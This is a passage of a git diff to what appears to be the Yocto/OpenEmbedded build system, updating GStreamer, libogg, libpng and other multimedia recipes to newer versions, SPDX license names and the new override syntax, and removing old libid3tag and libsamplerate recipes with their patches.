-# (it has a custom INTROSPECTION_INIT macro, and so must be used instead of our common introspection.m4 file)
-acpaths = "-I ${S}/common/m4 -I ${S}/m4"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
- file://gst/gst.h;beginline=1;endline=21;md5=e059138481205ee2c6fc1c079c016d0d"
-
-S = "${WORKDIR}/gstreamer-${PV}"
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${PV}.tar.xz \
- file://0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch \
- file://gtk-doc-tweaks.patch \
- file://0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch \
- file://add-a-target-to-compile-tests.patch \
- file://run-ptest \
-"
-SRC_URI[md5sum] = "c505fb818b36988daaa846e9e63eabe8"
-SRC_URI[sha256sum] = "02211c3447c4daa55919c5c0f43a82a6fbb51740d57fc3af0639d46f1cf4377d"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)} \
- "
-
-PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
-PACKAGECONFIG[tests] = "--enable-tests,--disable-tests"
-PACKAGECONFIG[valgrind] = "--enable-valgrind,--disable-valgrind,valgrind,"
-PACKAGECONFIG[gst-tracer-hooks] = "--enable-gst-tracer-hooks,--disable-gst-tracer-hooks,"
-PACKAGECONFIG[unwind] = "--with-unwind,--without-unwind,libunwind"
-PACKAGECONFIG[dw] = "--with-dw,--without-dw,elfutils"
-
-EXTRA_OECONF = " \
- --disable-examples \
-"
-
-CACHED_CONFIGUREVARS += "ac_cv_header_valgrind_valgrind_h=no"
-
-# musl libc generates warnings if <sys/poll.h> is included directly
-CACHED_CONFIGUREVARS += "ac_cv_header_sys_poll_h=no"
-
-PACKAGES += "${PN}-bash-completion"
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.la ${libdir}/gstreamer-1.0/*.a ${libdir}/gstreamer-1.0/include"
-FILES_${PN}-bash-completion += "${datadir}/bash-completion/completions/ ${datadir}/bash-completion/helpers/gst*"
-FILES_${PN}-dbg += "${datadir}/gdb ${datadir}/gstreamer-1.0/gdb"
-
-RDEPENDS_${PN}-ptest += "make"
-
-delete_pkg_m4_file() {
- # This m4 file is out of date and is missing PKG_CONFIG_SYSROOT_PATH tweaks which we need for introspection
- rm "${S}/common/m4/pkg.m4" || true
- rm -f "${S}/common/m4/gtk-doc.m4"
-}
-
-do_configure[prefuncs] += "delete_pkg_m4_file"
-
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/gst/.libs:${B}/libs/gst/base/.libs"
-}
-
-do_compile_ptest() {
- oe_runmake build-checks
-}
-
-do_install_ptest() {
- oe_runmake -C tests/check DESTDIR=${D}${PTEST_PATH} install-ptest
- install -m 644 ${B}/tests/check/Makefile ${D}${PTEST_PATH}
- install -m 755 ${S}/test-driver ${D}${PTEST_PATH}
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \-e 's/^Makefile:/_Makefile:/' \
- -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
- -i ${D}${PTEST_PATH}/Makefile
-}
-
-CVE_PRODUCT = "gstreamer"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.20.1.bb
new file mode 100644
index 0000000000..81b94928d9
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.20.1.bb
@@ -0,0 +1,73 @@
+SUMMARY = "GStreamer 1.0 multimedia framework"
+DESCRIPTION = "GStreamer is a multimedia framework for encoding and decoding video and sound. \
+It supports a wide range of formats including mp3, ogg, avi, mpeg and quicktime."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
+SECTION = "multimedia"
+LICENSE = "LGPL-2.1-or-later"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 bison-native flex-native"
+
+inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection ptest-gnome
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770 \
+ file://gst/gst.h;beginline=1;endline=21;md5=e059138481205ee2c6fc1c079c016d0d"
+
+S = "${WORKDIR}/gstreamer-${PV}"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-tests-respect-the-idententaion-used-in-meson.patch;striplevel=3 \
+ file://0002-tests-add-support-for-install-the-tests.patch;striplevel=3 \
+ file://0003-tests-use-a-dictionaries-for-environment.patch;striplevel=3 \
+ file://0004-tests-add-helper-script-to-run-the-installed_tests.patch;striplevel=3 \
+ file://0005-tests-remove-gstbin-test_watch_for_state_change-test.patch \
+ "
+SRC_URI[sha256sum] = "de094a404a3ad8f4977829ea87edf695a4da0b5c8f613ebe54ab414bac89f031"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)} \
+ check \
+ debug \
+ tools"
+
+PACKAGECONFIG[debug] = "-Dgst_debug=true,-Dgst_debug=false"
+PACKAGECONFIG[tracer-hooks] = "-Dtracer_hooks=true,-Dtracer_hooks=false"
+PACKAGECONFIG[coretracers] = "-Dcoretracers=enabled,-Dcoretracers=disabled"
+PACKAGECONFIG[check] = "-Dcheck=enabled,-Dcheck=disabled"
+PACKAGECONFIG[tests] = "-Dtests=enabled -Dinstalled_tests=true,-Dtests=disabled -Dinstalled_tests=false"
+PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
+PACKAGECONFIG[dw] = "-Dlibdw=enabled,-Dlibdw=disabled,elfutils"
+PACKAGECONFIG[bash-completion] = "-Dbash-completion=enabled,-Dbash-completion=disabled,bash-completion"
+PACKAGECONFIG[tools] = "-Dtools=enabled,-Dtools=disabled"
+PACKAGECONFIG[setcap] = "-Dptp-helper-permissions=capabilities,,libcap libcap-native"
+
+# TODO: put this in a gettext.bbclass patch
+def gettext_oemeson(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '-Dnls=disabled'
+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '-Dnls=disabled'
+ return '-Dnls=enabled'
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Ddbghelp=disabled \
+ ${@gettext_oemeson(d)} \
+"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+PACKAGES += "${PN}-bash-completion"
+
+# Add the core element plugins to the main package
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-dev += "${libdir}/gstreamer-1.0/*.a ${libdir}/gstreamer-1.0/include"
+FILES:${PN}-bash-completion += "${datadir}/bash-completion/completions/ ${datadir}/bash-completion/helpers/gst*"
+FILES:${PN}-dbg += "${datadir}/gdb ${datadir}/gstreamer-1.0/gdb"
+
+CVE_PRODUCT = "gstreamer"
+
+PTEST_BUILD_HOST_FILES = ""
diff --git a/meta/recipes-multimedia/lame/lame_3.100.bb b/meta/recipes-multimedia/lame/lame_3.100.bb
index 7f8996fb52..5b42795f4e 100644
--- a/meta/recipes-multimedia/lame/lame_3.100.bb
+++ b/meta/recipes-multimedia/lame/lame_3.100.bb
@@ -1,8 +1,9 @@
SUMMARY = "High quality MP3 audio encoder"
-HOMEPAGE = "http://lame.sourceforge.net/"
+DESCRIPTION = "LAME is an educational tool to be used for learning about MP3 encoding."
+HOMEPAGE = "https://lame.sourceforge.io/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=290&atid=100290"
SECTION = "console/utils"
-LICENSE = "LGPLv2+"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=c46bda00ffbb0ba1dac22f8d087f54d9 \
file://include/lame.h;beginline=1;endline=20;md5=a2258182c593c398d15a48262130a92b \
"
@@ -19,7 +20,7 @@ SRC_URI[sha256sum] = "ddfe36cab873794038ae2c1210557ad34857a4b6bdc515785d1da9e175
inherit autotools pkgconfig
PACKAGES += "libmp3lame libmp3lame-dev"
-FILES_${PN} = "${bindir}/lame"
-FILES_libmp3lame = "${libdir}/libmp3lame.so.*"
-FILES_libmp3lame-dev = "${includedir} ${libdir}/*"
-FILES_${PN}-dev = ""
+FILES:${PN} = "${bindir}/lame"
+FILES:libmp3lame = "${libdir}/libmp3lame.so.*"
+FILES:libmp3lame-dev = "${includedir} ${libdir}/*"
+FILES:${PN}-dev = ""
diff --git a/meta/recipes-multimedia/liba52/liba52_0.7.4.bb b/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
index 8ff8889b60..f6bca4e730 100644
--- a/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
+++ b/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
@@ -1,6 +1,9 @@
SUMMARY = "ATSC A/52 surround sound stream decoder"
+DESCRIPTION = "Library for decoding ATSC A/52 streams. The A/52 standard \
+is used in a variety of applications, including digital television \
+and DVD. It is also known as AC-3."
HOMEPAGE = "http://liba52.sourceforge.net/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://include/a52.h;beginline=1;endline=12;md5=81152ceb3562bf20a60d1b6018175dd1"
SECTION = "libs"
@@ -22,5 +25,5 @@ EXTRA_OECONF = " --enable-shared "
PACKAGES =+ "a52dec a52dec-doc"
-FILES_a52dec = " ${bindir}/* "
-FILES_a52dec-doc = " ${mandir}/man1/* "
+FILES:a52dec = " ${bindir}/* "
+FILES:a52dec-doc = " ${mandir}/man1/* "
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch b/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch
deleted file mode 100644
index 54f49f6f23..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 91fcf66b9182c75cd2b96d88991d5a1c6307d4b4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 2 Aug 2017 16:27:52 +0300
-Subject: [PATCH] Fix gperf 3.1 incompatibility.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- compat.h | 2 +-
- frametype.h | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/compat.h b/compat.h
-index 8af71ec..b3d80d9 100644
---- a/compat.h
-+++ b/compat.h
-@@ -34,7 +34,7 @@ struct id3_compat {
- };
-
- struct id3_compat const *id3_compat_lookup(register char const *,
-- register unsigned int);
-+ register size_t);
-
- int id3_compat_fixup(struct id3_tag *);
-
-diff --git a/frametype.h b/frametype.h
-index dd064b2..b5b7593 100644
---- a/frametype.h
-+++ b/frametype.h
-@@ -37,6 +37,6 @@ extern struct id3_frametype const id3_frametype_unknown;
- extern struct id3_frametype const id3_frametype_obsolete;
-
- struct id3_frametype const *id3_frametype_lookup(register char const *,
-- register unsigned int);
-+ register size_t);
-
- # endif
---
-2.13.2
-
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch b/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch
deleted file mode 100644
index 10e089018c..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-libid3tag: patch for CVE-2004-2779
-
-The patch comes from
-https://sources.debian.org/patches/libid3tag/0.15.1b-13/10_utf16.dpatch
-
-Upstream-Status: Pending
-
-CVE: CVE-2004-2779
-CVE: CVE-2017-11551
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
-diff -urNad libid3tag-0.15.1b/utf16.c /tmp/dpep.tKvO7a/libid3tag-0.15.1b/utf16.c
---- libid3tag-0.15.1b/utf16.c 2006-01-13 15:26:29.000000000 +0100
-+++ /tmp/dpep.tKvO7a/libid3tag-0.15.1b/utf16.c 2006-01-13 15:27:19.000000000 +0100
-@@ -282,5 +282,18 @@
-
- free(utf16);
-
-+ if (end == *ptr && length % 2 != 0)
-+ {
-+ /* We were called with a bogus length. It should always
-+ * be an even number. We can deal with this in a few ways:
-+ * - Always give an error.
-+ * - Try and parse as much as we can and
-+ * - return an error if we're called again when we
-+ * already tried to parse everything we can.
-+ * - tell that we parsed it, which is what we do here.
-+ */
-+ (*ptr)++;
-+ }
-+
- return ucs4;
- }
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch b/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch
deleted file mode 100644
index 38d40c3632..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-Index: libid3tag-0.15.1b/Makefile.am
-===================================================================
---- libid3tag-0.15.1b.orig/Makefile.am 2009-07-29 09:29:20.000000000 +0100
-+++ libid3tag-0.15.1b/Makefile.am 2009-07-29 09:29:47.000000000 +0100
-@@ -27,6 +27,9 @@
- lib_LTLIBRARIES = libid3tag.la
- include_HEADERS = id3tag.h
-
-+pkgconfigdir = $(libdir)/pkgconfig
-+pkgconfig_DATA = id3tag.pc
-+
- ## From the libtool documentation on library versioning:
- ##
- ## CURRENT
-Index: libid3tag-0.15.1b/configure.ac
-===================================================================
---- libid3tag-0.15.1b.orig/configure.ac 2009-07-29 09:27:15.000000000 +0100
-+++ libid3tag-0.15.1b/configure.ac 2009-07-29 09:27:45.000000000 +0100
-@@ -201,5 +201,5 @@
- dnl AC_SUBST(LTLIBOBJS)
-
- AC_CONFIG_FILES([Makefile msvc++/Makefile \
-- libid3tag.list])
-+ libid3tag.list id3tag.pc])
- AC_OUTPUT
-Index: libid3tag-0.15.1b/id3tag.pc.in
-===================================================================
---- /dev/null 1970-01-01 00:00:00.000000000 +0000
-+++ libid3tag-0.15.1b/id3tag.pc.in 2009-07-29 09:29:10.000000000 +0100
-@@ -0,0 +1,11 @@
-+prefix=@prefix@
-+exec_prefix=@exec_prefix@
-+libdir=@libdir@
-+includedir=@includedir@
-+
-+Name: id3tag
-+Description: ID3 tag reading library
-+Requires:
-+Version: @VERSION@
-+Libs: -L${libdir} -lid3tag -lz
-+Cflags: -I${includedir}
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch b/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch
deleted file mode 100644
index 2845fb1d3a..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Submitted [https://sourceforge.net/tracker/?func=detail&aid=3599280&group_id=12349&atid=112349]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd libid3tag-0.15.1b/configure.ac libid3tag-0.15.1b/configure.ac
---- libid3tag-0.15.1b/configure.ac 2004-01-24 01:22:46.000000000 +0200
-+++ libid3tag-0.15.1b/configure.ac 2013-01-03 06:41:02.734835014 +0200
-@@ -28,7 +28,7 @@
-
--AM_INIT_AUTOMAKE
-+AM_INIT_AUTOMAKE([foreign])
-
--AM_CONFIG_HEADER([config.h])
-+AC_CONFIG_HEADERS([config.h])
-
- dnl System type.
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch b/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch
deleted file mode 100644
index f0867b5f01..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-In case of an unknown/invalid encoding, id3_parse_string() will
-return NULL, but the return value wasn't checked resulting
-in segfault in id3_ucs4_length(). This is the only place
-the return value wasn't checked.
-
-Patch taken from Debian:
-https://sources.debian.org/patches/libid3tag/0.15.1b-14/11_unknown_encoding.dpatch/
-
-CVE: CVE-2017-11550
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff -urNad libid3tag-0.15.1b~/compat.gperf libid3tag-0.15.1b/compat.gperf
---- libid3tag-0.15.1b~/compat.gperf 2004-01-23 09:41:32.000000000 +0000
-+++ libid3tag-0.15.1b/compat.gperf 2007-01-14 14:36:53.000000000 +0000
-@@ -236,6 +236,10 @@
-
- encoding = id3_parse_uint(&data, 1);
- string = id3_parse_string(&data, end - data, encoding, 0);
-+ if (!string)
-+ {
-+ continue;
-+ }
-
- if (id3_ucs4_length(string) < 4) {
- free(string);
-diff -urNad libid3tag-0.15.1b~/parse.c libid3tag-0.15.1b/parse.c
---- libid3tag-0.15.1b~/parse.c 2004-01-23 09:41:32.000000000 +0000
-+++ libid3tag-0.15.1b/parse.c 2007-01-14 14:37:34.000000000 +0000
-@@ -165,6 +165,9 @@
- case ID3_FIELD_TEXTENCODING_UTF_8:
- ucs4 = id3_utf8_deserialize(ptr, length);
- break;
-+ default:
-+ /* FIXME: Unknown encoding! Print warning? */
-+ return NULL;
- }
-
- if (ucs4 && !full) {
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb b/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb
deleted file mode 100644
index 0312a610c0..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "Library for interacting with ID3 tags in MP3 files"
-HOMEPAGE = "http://sourceforge.net/projects/mad/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=12349&atid=112349"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYRIGHT;md5=5e6279efb87c26c6e5e7a68317a6a87a \
- file://version.h;beginline=1;endline=8;md5=86ac68b67f054b7afde9e149bbc3fe63"
-SECTION = "libs"
-DEPENDS = "zlib gperf-native"
-PR = "r7"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/mad/libid3tag-${PV}.tar.gz \
- file://addpkgconfig.patch \
- file://obsolete_automake_macros.patch \
- file://0001-Fix-gperf-3.1-incompatibility.patch \
- file://10_utf16.patch \
- file://unknown-encoding.patch \
- "
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/mad/files/libid3tag/"
-UPSTREAM_CHECK_REGEX = "/projects/mad/files/libid3tag/(?P<pver>.*)/$"
-
-SRC_URI[md5sum] = "e5808ad997ba32c498803822078748c3"
-SRC_URI[sha256sum] = "63da4f6e7997278f8a3fef4c6a372d342f705051d1eeb6a46a86b03610e26151"
-
-S = "${WORKDIR}/libid3tag-${PV}"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libogg/libogg_1.3.4.bb b/meta/recipes-multimedia/libogg/libogg_1.3.4.bb
deleted file mode 100644
index c4004619b9..0000000000
--- a/meta/recipes-multimedia/libogg/libogg_1.3.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Ogg bitstream and framing libary"
-DESCRIPTION = "libogg is the bitstream and framing library \
-for the Ogg project. It provides functions which are \
-necessary to codec libraries like libvorbis."
-HOMEPAGE = "http://xiph.org/"
-BUGTRACKER = "https://trac.xiph.org/newticket"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=db1b7a668b2a6f47b2af88fb008ad555 \
- file://include/ogg/ogg.h;beginline=1;endline=11;md5=eda812856f13a3b1326eb8f020cc3b0b"
-
-SRC_URI = "http://downloads.xiph.org/releases/ogg/${BP}.tar.xz"
-
-SRC_URI[md5sum] = "eadef24aad6e3e8379ba0d14971fd64a"
-SRC_URI[sha256sum] = "c163bc12bc300c401b6aa35907ac682671ea376f13ae0969a220f7ddf71893fe"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libogg/libogg_1.3.5.bb b/meta/recipes-multimedia/libogg/libogg_1.3.5.bb
new file mode 100644
index 0000000000..b4f02e404c
--- /dev/null
+++ b/meta/recipes-multimedia/libogg/libogg_1.3.5.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Ogg bitstream and framing libary"
+DESCRIPTION = "libogg is the bitstream and framing library \
+for the Ogg project. It provides functions which are \
+necessary to codec libraries like libvorbis."
+HOMEPAGE = "http://xiph.org/"
+BUGTRACKER = "https://trac.xiph.org/newticket"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=db1b7a668b2a6f47b2af88fb008ad555 \
+ file://include/ogg/ogg.h;beginline=1;endline=11;md5=eda812856f13a3b1326eb8f020cc3b0b"
+
+SRC_URI = "http://downloads.xiph.org/releases/ogg/${BP}.tar.xz"
+
+SRC_URI[md5sum] = "3178c98341559657a15b185bf5d700a5"
+SRC_URI[sha256sum] = "c4d91be36fc8e54deae7575241e03f4211eb102afb3fc0775fbbc1b740016705"
+
+inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb b/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
index d83eb45701..4564d619ae 100644
--- a/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
+++ b/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
@@ -3,8 +3,8 @@ DESCRIPTION = "Bellagio is an opensource implementation of the Khronos OpenMAX \
Integration Layer API to access multimedia components."
HOMEPAGE = "http://omxil.sourceforge.net/"
-LICENSE = "LGPLv2.1+"
-LICENSE_FLAGS = "commercial"
+LICENSE = "LGPL-2.1-or-later"
+LICENSE_FLAGS = "${@bb.utils.contains('PACKAGECONFIG', 'amr', 'commercial', '', d)}"
LIC_FILES_CHKSUM = "file://COPYING;md5=ae6f0f4dbc7ac193b50f323a6ae191cb \
file://src/omxcore.h;beginline=1;endline=27;md5=806b1e5566c06486fe8e42b461e03a90"
@@ -24,14 +24,22 @@ inherit autotools
EXTRA_OECONF += "--disable-doc --disable-Werror"
+PROVIDES += "virtual/libomxil"
+
+CFLAGS += "-fcommon"
+
+PACKAGECONFIG ??= ""
+
+PACKAGECONFIG[amr] = "--enable-amr,,"
+
#
# The .so files under ${libdir}/bellagio are not intended to be versioned and symlinked.
# Make sure they get packaged in the main package.
#
-FILES_${PN} += "${libdir}/bellagio/*.so \
+FILES:${PN} += "${libdir}/bellagio/*.so \
${libdir}/omxloaders/*${SOLIBS}"
-FILES_${PN}-staticdev += "${libdir}/bellagio/*.a \
+FILES:${PN}-staticdev += "${libdir}/bellagio/*.a \
${libdir}/omxloaders/*.a"
-FILES_${PN}-dev += "${libdir}/bellagio/*.la \
+FILES:${PN}-dev += "${libdir}/bellagio/*.la \
${libdir}/omxloaders/*.la \
${libdir}/omxloaders/*${SOLIBSDEV}"
diff --git a/meta/recipes-multimedia/libpng/libpng_1.6.37.bb b/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
index 2ed87a8437..61e3d92e95 100644
--- a/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
+++ b/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
@@ -1,19 +1,20 @@
SUMMARY = "PNG image format decoding library"
+DESCRIPTION = "An open source project to develop and maintain the reference \
+library for use in applications that read, create, and manipulate PNG \
+(Portable Network Graphics) raster image files. "
HOMEPAGE = "http://www.libpng.org/"
SECTION = "libs"
LICENSE = "Libpng"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=b0085051bf265bac2bfc38bc89f50000\
- file://png.h;endline=144;md5=8acd23d544623816b097e07be0139509\
- "
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b0085051bf265bac2bfc38bc89f50000"
DEPENDS = "zlib"
LIBV = "16"
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}${LIBV}/${PV}/${BP}.tar.xz"
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}${LIBV}/${BP}.tar.xz"
SRC_URI[md5sum] = "015e8e15db1eecde5f2eb9eb5b6e59e9"
SRC_URI[sha256sum] = "505e70834d35383537b6491e7ae8641f1a4bed1876dbfe361201fc80868d88ca"
-MIRRORS += "${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}${LIBV}/${PV}/ ${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}${LIBV}/older-releases/${PV}/"
+MIRRORS += "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}${LIBV}/ ${SOURCEFORGE_MIRROR}/${BPN}/${BPN}${LIBV}/older-releases/"
UPSTREAM_CHECK_URI = "http://libpng.org/pub/png/libpng.html"
@@ -22,13 +23,13 @@ BINCONFIG = "${bindir}/libpng-config ${bindir}/libpng16-config"
inherit autotools binconfig-disabled pkgconfig
# Work around missing symbols
-EXTRA_OECONF_append_class-target = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "--enable-arm-neon=on", "--enable-arm-neon=off" ,d)}"
+EXTRA_OECONF:append:class-target = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "--enable-arm-neon=on", "--enable-arm-neon=off", d)}"
PACKAGES =+ "${PN}-tools"
-FILES_${PN}-tools = "${bindir}/png-fix-itxt ${bindir}/pngfix ${bindir}/pngcp"
+FILES:${PN}-tools = "${bindir}/png-fix-itxt ${bindir}/pngfix ${bindir}/pngcp"
BBCLASSEXTEND = "native nativesdk"
# CVE-2019-17371 is actually a memory leak in gif2png 2.x
-CVE_CHECK_WHITELIST += "CVE-2019-17371"
+CVE_CHECK_IGNORE += "CVE-2019-17371"
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch b/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch
deleted file mode 100644
index d19b514e6b..0000000000
--- a/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 957ebce3837588f71016e37ffaf9aad0a9d41cec Mon Sep 17 00:00:00 2001
-From: Tanu Kaskinen <tanuk@iki.fi>
-Date: Fri, 23 Sep 2016 12:02:06 +0300
-Subject: [PATCH] configure.ac: improve alsa handling
-
-Three improvements:
-
-1) "--enable-alsa" or "--disable-alsa" caused a warning about an
-unsupported configure option, because AC_ARG_ENABLE was not used.
-
-2) If alsa was disabled, the "Have ALSA" item in the summary would print
-an empty string instead of "no".
-
-3) If "--enable-alsa" was passed to configure, but the headers were not
-found, configure would still succeed (with alsa disabled). It's better
-to fail and abort configure if a feature that was explicitly requested
-can't be enabled.
-
-Upstream-Status: Submitted [sent to src@mega-nerd.com]
-
-Signed-off-by: Tanu Kaskinen <tanuk@iki.fi>
----
- configure.ac | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 474c6ab..bad597e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -101,6 +101,9 @@ AC_ARG_ENABLE(cpu-clip,
- AC_HELP_STRING([--disable-cpu-clip], [disable tricky cpu specific clipper]),
- ac_arg_cpu_clip="N", ac_arg_cpu_clip="Y")
-
-+AC_ARG_ENABLE(alsa,
-+ AC_HELP_STRING([--disable-alsa], [disable ALSA support in the varispeed-play example program]))
-+
- #====================================================================================
- # Check types and their sizes.
-
-@@ -194,6 +197,10 @@ if test x$enable_alsa != xno ; then
- if test x$ac_cv_header_alsa_asoundlib_h = xyes ; then
- ALSA_LIBS="-lasound"
- enable_alsa=yes
-+ elif test x$enable_alsa = xyes ; then
-+ AC_MSG_ERROR(["ALSA headers not found"])
-+ else
-+ enable_alsa=no
- fi
- fi
-
-@@ -340,7 +347,7 @@ AC_MSG_RESULT([
- Have FFTW : ................... ${ac_cv_fftw3}])
-
- AC_MSG_RESULT([ Have libsndfile : ............. ${ac_cv_sndfile}])
--AC_MSG_RESULT([ Have ALSA : ................... ${ac_cv_header_alsa_asoundlib_h}
-+AC_MSG_RESULT([ Have ALSA : ................... ${enable_alsa}
- ])
-
- AC_MSG_RESULT([ Installation directories :
---
-2.9.3
-
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb
deleted file mode 100644
index ae08189441..0000000000
--- a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Audio Sample Rate Conversion library"
-HOMEPAGE = "http://www.mega-nerd.com/SRC/"
-SECTION = "libs"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=336d6faf40fb600bafb0061f4052f1f4 \
- file://src/samplerate.c;beginline=1;endline=7;md5=5b6982a8c2811c7312c13cccbf55f55e"
